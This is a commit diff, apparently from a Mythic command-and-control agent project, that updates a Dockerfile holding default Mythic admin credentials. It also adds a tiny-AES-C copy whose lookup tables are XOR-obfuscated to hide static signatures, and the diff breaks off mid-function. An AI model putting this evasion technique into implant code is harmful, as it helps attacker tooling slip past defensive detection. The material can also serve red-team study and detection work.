channel encryption
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
FROM python:3.11
|
||||
FROM itsafeaturemythic/mythic_python_base:latest
|
||||
|
||||
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
|
||||
ARG CA_CERTIFICATE
|
||||
@@ -21,21 +21,20 @@ RUN apt-get update && \
|
||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# --- Actualiza pip / setuptools / wheel ---
|
||||
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
|
||||
RUN python -m pip install --upgrade pip setuptools wheel
|
||||
|
||||
# --- Instala el paquete base de Mythic y dependencias del payload ---
|
||||
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
|
||||
COPY requirements.txt /
|
||||
RUN pip install --no-cache-dir -r /requirements.txt \
|
||||
&& pip install --no-cache-dir mythic-container
|
||||
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
|
||||
|
||||
# --- Variables de entorno necesarias para comunicación con el core Mythic ---
|
||||
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
|
||||
ENV MYTHIC_SERVER_HOST="mythic_server"
|
||||
ENV MYTHIC_SERVER_PORT="17443"
|
||||
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
|
||||
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
||||
|
||||
# --- Copia el código del payload ---
|
||||
# --- Copia tu código de translator ---
|
||||
WORKDIR /Mythic/
|
||||
COPY ./ /Mythic/cazalla/
|
||||
|
||||
|
||||
@@ -0,0 +1,636 @@
|
||||
/*
|
||||
|
||||
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
|
||||
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
|
||||
|
||||
The implementation is verified against the test vectors in:
|
||||
National Institute of Standards and Technology Special Publication 800-38A 2001 ED
|
||||
|
||||
ECB-AES128
|
||||
----------
|
||||
|
||||
plain-text:
|
||||
6bc1bee22e409f96e93d7e117393172a
|
||||
ae2d8a571e03ac9c9eb76fac45af8e51
|
||||
30c81c46a35ce411e5fbc1191a0a52ef
|
||||
f69f2445df4f9b17ad2b417be66c3710
|
||||
|
||||
key:
|
||||
2b7e151628aed2a6abf7158809cf4f3c
|
||||
|
||||
resulting cipher
|
||||
3ad77bb40d7a3660a89ecaf32466ef97
|
||||
f5d3d58503b9699de785895a96fdbaaf
|
||||
43b1cd7f598ece23881b00e3ed030688
|
||||
7b0c785e27e8ad3f8223207104725dd4
|
||||
|
||||
|
||||
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
|
||||
You should pad the end of the string with zeros if this is not the case.
|
||||
For AES192/256 the key size is proportionally larger.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Includes: */
|
||||
/*****************************************************************************/
|
||||
#include <string.h> // CBC mode, for memset
|
||||
#include "Aes.h"
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Defines: */
|
||||
/*****************************************************************************/
|
||||
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
|
||||
#define Nb 4
|
||||
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
#define Nk 8
|
||||
#define Nr 14
|
||||
#elif defined(AES192) && (AES192 == 1)
|
||||
#define Nk 6
|
||||
#define Nr 12
|
||||
#else
|
||||
#define Nk 4 // The number of 32 bit words in a key.
|
||||
#define Nr 10 // The number of rounds in AES Cipher.
|
||||
#endif
|
||||
|
||||
// jcallan@github points out that declaring Multiply as a function
|
||||
// reduces code size considerably with the Keil ARM compiler.
|
||||
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
|
||||
#ifndef MULTIPLY_AS_A_FUNCTION
|
||||
#define MULTIPLY_AS_A_FUNCTION 0
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Private variables: */
|
||||
/*****************************************************************************/
|
||||
// state - array holding the intermediate results during decryption.
|
||||
typedef uint8_t state_t[4][4];
|
||||
|
||||
|
||||
|
||||
// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
|
||||
// The numbers below can be computed dynamically trading ROM for RAM -
|
||||
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
|
||||
//static const uint8_t sbox[256] = {
|
||||
// //0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
// 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||
// 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||
// 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||
// 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||
// 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||
// 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||
// 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||
// 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||
// 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||
// 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||
// 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||
// 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||
// 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||
// 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||
// 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||
// 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; // original
|
||||
|
||||
// custom sbox value XORed by ^ 0x55
|
||||
static const uint8_t sbox[256] = {
|
||||
//0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
0x36,0x29,0x22,0x2e,0xa7,0x3e,0x3a,0x90,0x65,0x54,0x32,0x7e,0xab,0x82,0xfe,0x23,0x9f,0xd7,0x9c,
|
||||
0x28,0xaf,0x0c,0x12,0xa5,0xf8,0x81,0xf7,0xfa,0xc9,0xf1,0x27,0x95,0xe2,0xa8,0xc6,0x73,0x63,0x6a,
|
||||
0xa2,0x99,0x61,0xf0,0xb0,0xa4,0x24,0x8d,0x64,0x40,0x51,0x92,0x76,0x96,0x4d,0xc3,0x50,0xcf,0x52,
|
||||
0x47,0xd5,0xb7,0xbe,0x72,0xe7,0x20,0x5c,0xd6,0x79,0x4f,0x4e,0x3b,0x0f,0xf5,0x07,0x6e,0x83,0xe6,
|
||||
0x7c,0xb6,0x7a,0xd1,0x06,0x84,0x55,0xb8,0x75,0xa9,0xe4,0x0e,0x3f,0x9e,0xeb,0x6c,0x1f,0x19,0x0d,
|
||||
0x9a,0x85,0xba,0xff,0xae,0x16,0x18,0x66,0xd0,0x10,0xac,0x57,0x2a,0x05,0x69,0xca,0xfd,0x04,0xf6,
|
||||
0x15,0xda,0xc7,0xc8,0x6d,0xa0,0xe9,0xe3,0x8f,0x74,0x45,0xaa,0xa6,0x87,0x98,0x59,0x46,0xb9,0x0a,
|
||||
0xc2,0x11,0x42,0x91,0xf2,0x2b,0x68,0x31,0x08,0x4c,0x26,0x35,0xd4,0x1a,0x89,0x77,0x7f,0xc5,0xdd,
|
||||
0x13,0xbb,0xed,0x41,0x8b,0x0b,0x5e,0x8e,0xb5,0x67,0x6f,0x5f,0x1c,0x53,0x71,0x09,0x97,0x86,0xf9,
|
||||
0x37,0xc4,0xc0,0xb1,0x2c,0xb2,0x9d,0x62,0x38,0xd8,0x80,0x1b,0xfc,0x39,0x03,0xa1,0xbf,0x30,0x2f,
|
||||
0xfb,0x5d,0xef,0x2d,0x70,0x7b,0x49,0xf3,0xe1,0x93,0xbd,0x88,0x21,0x4a,0x1e,0xe8,0xde,0xdf,0x25,
|
||||
0x6b,0xe0,0x33,0x1d,0x56,0xa3,0x5b,0x34,0x60,0x02,0xec,0xd3,0x94,0x48,0xcb,0xb4,0xad,0xcd,0x44,
|
||||
0x3c,0x8c,0xdb,0xc1,0xce,0x4b,0xd2,0xbc,0x9b,0x00,0x7d,0x8a,0xd9,0xf4,0xdc,0x58,0xea,0xb3,0x17,
|
||||
0x3d,0x14,0xcc,0x78,0x5a,0xe5,0x01,0xee,0x43 };
|
||||
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
//static const uint8_t rsbox[256] = {
|
||||
// 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
|
||||
// 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
|
||||
// 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
|
||||
// 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
|
||||
// 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
|
||||
// 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
|
||||
// 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
|
||||
// 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
|
||||
// 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
|
||||
// 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
|
||||
// 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
|
||||
// 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
|
||||
// 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
|
||||
// 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
|
||||
// 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
|
||||
// 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
|
||||
|
||||
// custom rsbox value XORed by ^ 0x55
|
||||
static const uint8_t rsbox[256] = {
|
||||
0x07,0x5c,0x3f,0x80,0x65,0x63,0xf0,0x6d,0xea,0x15,0xf6,0xcb,0xd4,0xa6,0x82,0xae,0x29,0xb6,0x6c,
|
||||
0xd7,0xce,0x7a,0xaa,0xd2,0x61,0xdb,0x16,0x11,0x91,0x8b,0xbc,0x9e,0x01,0x2e,0xc1,0x67,0xf3,0x97,
|
||||
0x76,0x68,0xbb,0x19,0xc0,0x5e,0x17,0xaf,0x96,0x1b,0x5d,0x7b,0xf4,0x33,0x7d,0x8c,0x71,0xe7,0x23,
|
||||
0x0e,0xf7,0x1c,0x38,0xde,0x84,0x70,0x27,0xad,0xa3,0x31,0xd3,0x3d,0xcd,0x43,0x81,0xf1,0x09,0x99,
|
||||
0x08,0x30,0xe3,0xc7,0x39,0x25,0x1d,0x05,0xa8,0xb8,0xec,0x8f,0x0b,0x40,0x13,0x02,0xf2,0xd8,0xc8,
|
||||
0xd1,0xc5,0x8d,0xfe,0x55,0xd9,0xe9,0x86,0x5f,0xa2,0xb1,0x0d,0x50,0xed,0xe6,0x10,0x53,0x85,0x79,
|
||||
0x4b,0xda,0x9f,0x6a,0x5a,0x57,0x94,0xfa,0xe8,0x56,0x54,0x46,0xdf,0x3e,0x6f,0xc4,0x44,0x14,0x1a,
|
||||
0x32,0x89,0xbf,0xc2,0xa7,0x9a,0x9b,0xa5,0xe1,0xb3,0x26,0xc3,0xf9,0x21,0x77,0xb2,0xf8,0x60,0xd0,
|
||||
0xb7,0xac,0x62,0xbd,0x49,0x20,0x8a,0x3b,0x12,0xa4,0x4f,0x24,0x48,0x7c,0x90,0xdc,0x3a,0xe2,0x37,
|
||||
0x5b,0xff,0x4d,0xeb,0x4e,0xa9,0x03,0x6b,0x1e,0x93,0x87,0x2c,0x75,0xcf,0x8e,0x95,0xab,0x2d,0x98,
|
||||
0x0f,0xa1,0x4a,0x88,0xfd,0x66,0xdd,0x52,0x92,0x64,0xe4,0x47,0x45,0x0c,0x72,0xd5,0xb9,0x0a,0x35,
|
||||
0x04,0x2a,0xfc,0x4c,0xe0,0x1f,0x58,0x78,0xb0,0x2f,0xca,0xc6,0x9c,0xc9,0xba,0xf5,0xb5,0x6e,0x18,
|
||||
0xfb,0x7f,0xa0,0xe5,0x9d,0xbe,0xee,0x69,0xd6,0x06,0xcc,0x34,0x42,0x7e,0x51,0x2b,0xef,0x22,0x83,
|
||||
0x73,0xb4,0x3c,0x41,0x36,0x00,0x74,0x59,0x28 };
|
||||
|
||||
#endif
|
||||
|
||||
// The round constant word array, Rcon[i], contains the values given by
|
||||
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
|
||||
//static const uint8_t Rcon[11] = {
|
||||
// 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; //original line
|
||||
|
||||
static const uint8_t Rcon[11] = {
|
||||
0xd8,0x54,0x57,0x51,0x5d,0x45,0x75,0x15,0xd5,0x4e,0x63 };
|
||||
|
||||
#define getRcon(num) (Rcon[num] ^ 0x55)
|
||||
|
||||
/*
|
||||
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
|
||||
* that you can remove most of the elements in the Rcon array, because they are unused.
|
||||
*
|
||||
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
|
||||
*
|
||||
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
|
||||
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
|
||||
*/
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Private functions: */
|
||||
/*****************************************************************************/
|
||||
/*
|
||||
static uint8_t getSBoxValue(uint8_t num)
|
||||
{
|
||||
return sbox[num];
|
||||
}
|
||||
*/
|
||||
|
||||
// My Added Xor Function
|
||||
//void XOR(char* data, size_t data_len, char* key, size_t key_len) {
|
||||
// int j;
|
||||
//
|
||||
// j = 0;
|
||||
// for (int i = 0; i < data_len; i++) {
|
||||
// if (j == key_len - 1) j = 0;
|
||||
//
|
||||
// data[i] = data[i] ^ key[j];
|
||||
// j++;
|
||||
// }
|
||||
//}
|
||||
|
||||
//Replace with xor to remove static strings
|
||||
//#define getSBoxValue(num) (sbox[(num)]) // original line
|
||||
#define origGetSBoxValue(num) (sbox[(num)])
|
||||
#define getSBoxValue(num) (origGetSBoxValue(num) ^ 0x55) // Example XOR value
|
||||
|
||||
|
||||
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
|
||||
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
|
||||
{
|
||||
unsigned i, j, k;
|
||||
uint8_t tempa[4]; // Used for the column/row operations
|
||||
|
||||
// The first round key is the key itself.
|
||||
for (i = 0; i < Nk; ++i)
|
||||
{
|
||||
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
|
||||
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
|
||||
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
|
||||
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
|
||||
}
|
||||
|
||||
// All other round keys are found from the previous round keys.
|
||||
for (i = Nk; i < Nb * (Nr + 1); ++i)
|
||||
{
|
||||
{
|
||||
k = (i - 1) * 4;
|
||||
tempa[0]=RoundKey[k + 0];
|
||||
tempa[1]=RoundKey[k + 1];
|
||||
tempa[2]=RoundKey[k + 2];
|
||||
tempa[3]=RoundKey[k + 3];
|
||||
|
||||
}
|
||||
|
||||
if (i % Nk == 0)
|
||||
{
|
||||
// This function shifts the 4 bytes in a word to the left once.
|
||||
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
|
||||
|
||||
// Function RotWord()
|
||||
{
|
||||
const uint8_t u8tmp = tempa[0];
|
||||
tempa[0] = tempa[1];
|
||||
tempa[1] = tempa[2];
|
||||
tempa[2] = tempa[3];
|
||||
tempa[3] = u8tmp;
|
||||
}
|
||||
|
||||
// SubWord() is a function that takes a four-byte input word and
|
||||
// applies the S-box to each of the four bytes to produce an output word.
|
||||
|
||||
// Function Subword()
|
||||
{
|
||||
tempa[0] = getSBoxValue(tempa[0]);
|
||||
tempa[1] = getSBoxValue(tempa[1]);
|
||||
tempa[2] = getSBoxValue(tempa[2]);
|
||||
tempa[3] = getSBoxValue(tempa[3]);
|
||||
}
|
||||
|
||||
tempa[0] = tempa[0] ^ getRcon(i/Nk);
|
||||
}
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
if (i % Nk == 4)
|
||||
{
|
||||
// Function Subword()
|
||||
{
|
||||
tempa[0] = getSBoxValue(tempa[0]);
|
||||
tempa[1] = getSBoxValue(tempa[1]);
|
||||
tempa[2] = getSBoxValue(tempa[2]);
|
||||
tempa[3] = getSBoxValue(tempa[3]);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
j = i * 4; k=(i - Nk) * 4;
|
||||
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
|
||||
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
|
||||
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
|
||||
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
|
||||
}
|
||||
}
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
}
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||
}
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
|
||||
{
|
||||
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||
}
|
||||
#endif
|
||||
|
||||
// This function adds the round key to state.
|
||||
// The round key is added to the state by an XOR function.
|
||||
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t i,j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The SubBytes Function Substitutes the values in the
|
||||
// state matrix with values in an S-box.
|
||||
static void SubBytes(state_t* state)
|
||||
{
|
||||
uint8_t i, j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[j][i] = getSBoxValue((*state)[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The ShiftRows() function shifts the rows in the state to the left.
|
||||
// Each row is shifted with different offset.
|
||||
// Offset = Row number. So the first row is not shifted.
|
||||
static void ShiftRows(state_t* state)
|
||||
{
|
||||
uint8_t temp;
|
||||
|
||||
// Rotate first row 1 columns to left
|
||||
temp = (*state)[0][1];
|
||||
(*state)[0][1] = (*state)[1][1];
|
||||
(*state)[1][1] = (*state)[2][1];
|
||||
(*state)[2][1] = (*state)[3][1];
|
||||
(*state)[3][1] = temp;
|
||||
|
||||
// Rotate second row 2 columns to left
|
||||
temp = (*state)[0][2];
|
||||
(*state)[0][2] = (*state)[2][2];
|
||||
(*state)[2][2] = temp;
|
||||
|
||||
temp = (*state)[1][2];
|
||||
(*state)[1][2] = (*state)[3][2];
|
||||
(*state)[3][2] = temp;
|
||||
|
||||
// Rotate third row 3 columns to left
|
||||
temp = (*state)[0][3];
|
||||
(*state)[0][3] = (*state)[3][3];
|
||||
(*state)[3][3] = (*state)[2][3];
|
||||
(*state)[2][3] = (*state)[1][3];
|
||||
(*state)[1][3] = temp;
|
||||
}
|
||||
|
||||
static uint8_t xtime(uint8_t x)
|
||||
{
|
||||
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
|
||||
}
|
||||
|
||||
// MixColumns function mixes the columns of the state matrix
|
||||
static void MixColumns(state_t* state)
|
||||
{
|
||||
uint8_t i;
|
||||
uint8_t Tmp, Tm, t;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
t = (*state)[i][0];
|
||||
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
|
||||
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
|
||||
}
|
||||
}
|
||||
|
||||
// Multiply is used to multiply numbers in the field GF(2^8)
|
||||
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
|
||||
// The compiler seems to be able to vectorize the operation better this way.
|
||||
// See https://github.com/kokke/tiny-AES-c/pull/34
|
||||
#if MULTIPLY_AS_A_FUNCTION
|
||||
static uint8_t Multiply(uint8_t x, uint8_t y)
|
||||
{
|
||||
return (((y & 1) * x) ^
|
||||
((y>>1 & 1) * xtime(x)) ^
|
||||
((y>>2 & 1) * xtime(xtime(x))) ^
|
||||
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
|
||||
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
|
||||
}
|
||||
#else
|
||||
#define Multiply(x, y) \
|
||||
( ((y & 1) * x) ^ \
|
||||
((y>>1 & 1) * xtime(x)) ^ \
|
||||
((y>>2 & 1) * xtime(xtime(x))) ^ \
|
||||
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
|
||||
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \
|
||||
|
||||
#endif
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
/*
|
||||
static uint8_t getSBoxInvert(uint8_t num)
|
||||
{
|
||||
return rsbox[num];
|
||||
}
|
||||
*/
|
||||
|
||||
//Replace with xor to remove static strings
|
||||
//#define getSBoxInvert(num) (rsbox[(num)]) // original line
|
||||
#define origGetSBoxInvert(num) (rsbox[(num)])
|
||||
#define getSBoxInvert(num) (origGetSBoxInvert(num) ^ 0x55)
|
||||
|
||||
// MixColumns function mixes the columns of the state matrix.
|
||||
// The method used to multiply may be difficult to understand for the inexperienced.
|
||||
// Please use the references to gain more information.
|
||||
static void InvMixColumns(state_t* state)
|
||||
{
|
||||
int i;
|
||||
uint8_t a, b, c, d;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
a = (*state)[i][0];
|
||||
b = (*state)[i][1];
|
||||
c = (*state)[i][2];
|
||||
d = (*state)[i][3];
|
||||
|
||||
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
|
||||
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
|
||||
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
|
||||
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// The SubBytes Function Substitutes the values in the
|
||||
// state matrix with values in an S-box.
|
||||
static void InvSubBytes(state_t* state)
|
||||
{
|
||||
uint8_t i, j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void InvShiftRows(state_t* state)
|
||||
{
|
||||
uint8_t temp;
|
||||
|
||||
// Rotate first row 1 columns to right
|
||||
temp = (*state)[3][1];
|
||||
(*state)[3][1] = (*state)[2][1];
|
||||
(*state)[2][1] = (*state)[1][1];
|
||||
(*state)[1][1] = (*state)[0][1];
|
||||
(*state)[0][1] = temp;
|
||||
|
||||
// Rotate second row 2 columns to right
|
||||
temp = (*state)[0][2];
|
||||
(*state)[0][2] = (*state)[2][2];
|
||||
(*state)[2][2] = temp;
|
||||
|
||||
temp = (*state)[1][2];
|
||||
(*state)[1][2] = (*state)[3][2];
|
||||
(*state)[3][2] = temp;
|
||||
|
||||
// Rotate third row 3 columns to right
|
||||
temp = (*state)[0][3];
|
||||
(*state)[0][3] = (*state)[1][3];
|
||||
(*state)[1][3] = (*state)[2][3];
|
||||
(*state)[2][3] = (*state)[3][3];
|
||||
(*state)[3][3] = temp;
|
||||
}
|
||||
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
|
||||
// Cipher is the main function that encrypts the PlainText.
|
||||
static void Cipher(state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t round = 0;
|
||||
|
||||
// Add the First round key to the state before starting the rounds.
|
||||
AddRoundKey(0, state, RoundKey);
|
||||
|
||||
// There will be Nr rounds.
|
||||
// The first Nr-1 rounds are identical.
|
||||
// These Nr rounds are executed in the loop below.
|
||||
// Last one without MixColumns()
|
||||
for (round = 1; ; ++round)
|
||||
{
|
||||
SubBytes(state);
|
||||
ShiftRows(state);
|
||||
if (round == Nr) {
|
||||
break;
|
||||
}
|
||||
MixColumns(state);
|
||||
AddRoundKey(round, state, RoundKey);
|
||||
}
|
||||
// Add round key to last round
|
||||
AddRoundKey(Nr, state, RoundKey);
|
||||
}
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
static void InvCipher(state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t round = 0;
|
||||
|
||||
// Add the First round key to the state before starting the rounds.
|
||||
AddRoundKey(Nr, state, RoundKey);
|
||||
|
||||
